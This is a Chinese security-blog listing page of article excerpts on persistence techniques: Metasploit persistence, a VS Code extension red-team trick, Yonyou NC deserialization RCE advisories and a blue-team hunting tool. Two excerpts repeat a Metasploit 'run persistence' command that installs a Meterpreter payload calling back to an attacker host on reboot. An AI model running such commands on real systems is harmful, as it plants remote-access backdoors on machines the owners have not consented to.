持久化 持久化（Persistence）是对移动设备的任何访问，操作或配置更改，使攻击者在设备上持久存在。攻击者通常需要通过一些中断来维持对移动设备的访问权限，如设备重启，甚至是恢复出厂设置。 - 译...
04月15日ATTACK3 views评论持久化
访问权限
ATT&CK - 持久化
04月15日ATTACK3 views评论持久化
访问权限
04月15日ATTACK3 views评论持久化
访问权限
红队战术 - Visual Studio 代码扩展持久性
负责编写代码（即使用Sigma 的检测工程师）以利用 Visual Studio Code 作为代码编辑器的开发人员或用户并不罕见。可以使用调试器和工具等扩展来扩展产品的默认功能，以支持开发工作流程。...
03月07日8 views评论visual
生成器
浅谈Msfconsole持久话（一）
我们在利用msfconsole获取系统权限后。若系统进行了关机或者重启，我们与目标建立联系就显得很困难。于是我们需要想办法达到“持久化”效果。本文简单的介绍msf自带脚本与目标达到持久化效果。实验环境...
02月23日17 views评论msf
payload
全网最强IOS/iPad虚拟定位软件
虚拟定位 · IOS/ipad · 兼容性 iPhone：需要 iOS 12.0 或以上版本； iPad：需要 iPadOS 12.0 或以上版本； 描述 模拟位置/虚拟定位 科技成就未来 scien...
02月08日17 views评论helper
persistence
漏洞预警 用友NC xbrlpersistenceservlet 反序列化rce漏洞
0x01 阅读须知融云安全的技术文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操...
02月01日28 views评论信息安全
漏洞复现
Metasploit 常用维权方式
metasploit 后渗透常用的维持权限的方式. 注册表上传 vbs 开机自启 (被弃用). run persistence -r 192.168.1.100 -p 4444 -i 5 -P win...
12月15日安全博客10 views评论exploit
wmi
Windows 单机权限维持
Windows 单机权限维持 注册表上传 vbs 开机自启 (被弃用). run persistence -r 192.168.1.100 -p 4444 -i 5 -P windows/x64/me...
12月15日安全博客10 views评论exploit
wmi
用友NC6.5 XbrlPersistenceServlet.class 反序列化漏洞分析及复现
环境配置l 系统：Winserver2008Rl 数据库：Oracle11Gl JDK：java 1.7.0_51l 复现版本：用友NC6.5源码分析Jar包所在目录为：/yonyouNC6.5/mo...
11月22日102 views评论servlet
反序列化
浅谈msf在渗透测试中的持久化
当我们获得msf的反弹shell后，会获得一个会话后进行持续控制目标主机，可是当我们与目标主机断开连接后，想下一次继续连接目标主机，就得需要从重新配置msf以获得相应反弹。那么有什么好的方法使得我们的...
08月12日安全文章32 views评论msf
payload
用友 NC XbrlPersistenceServlet反序列化
- 漏洞描述 -用友NC XbrlPersistenceServlet存在反序列化漏洞，该漏洞可能导致攻击者通过构造恶意的序列化数据来执行任意代码或导致拒绝服务。 - 影响范围 - 用友NC - ...
07月03日安全漏洞83 views评论dnslog
servlet
SharpExchangeKing v1.7.0
0x00 前言v1.7.0 版本主要是新增一个 CheckDelegate 选项卡，其余内容均是优化及修复。目前 SharpExchangeKing 已编写并更新的功能有以下内容：1. Info：基于...
06月06日51 views评论exchange
选项卡
蓝队自动化响应脚本PersistenceSniper
Powershell 模块，可供蓝队、事件响应者和系统管理员用来搜寻植入 Windows 计算机中的恶意软件。 其实就是集成了各种自动化响应脚本。 0x01 工具运行 Powershell 模块，可供...
05月18日37 views评论module
powershell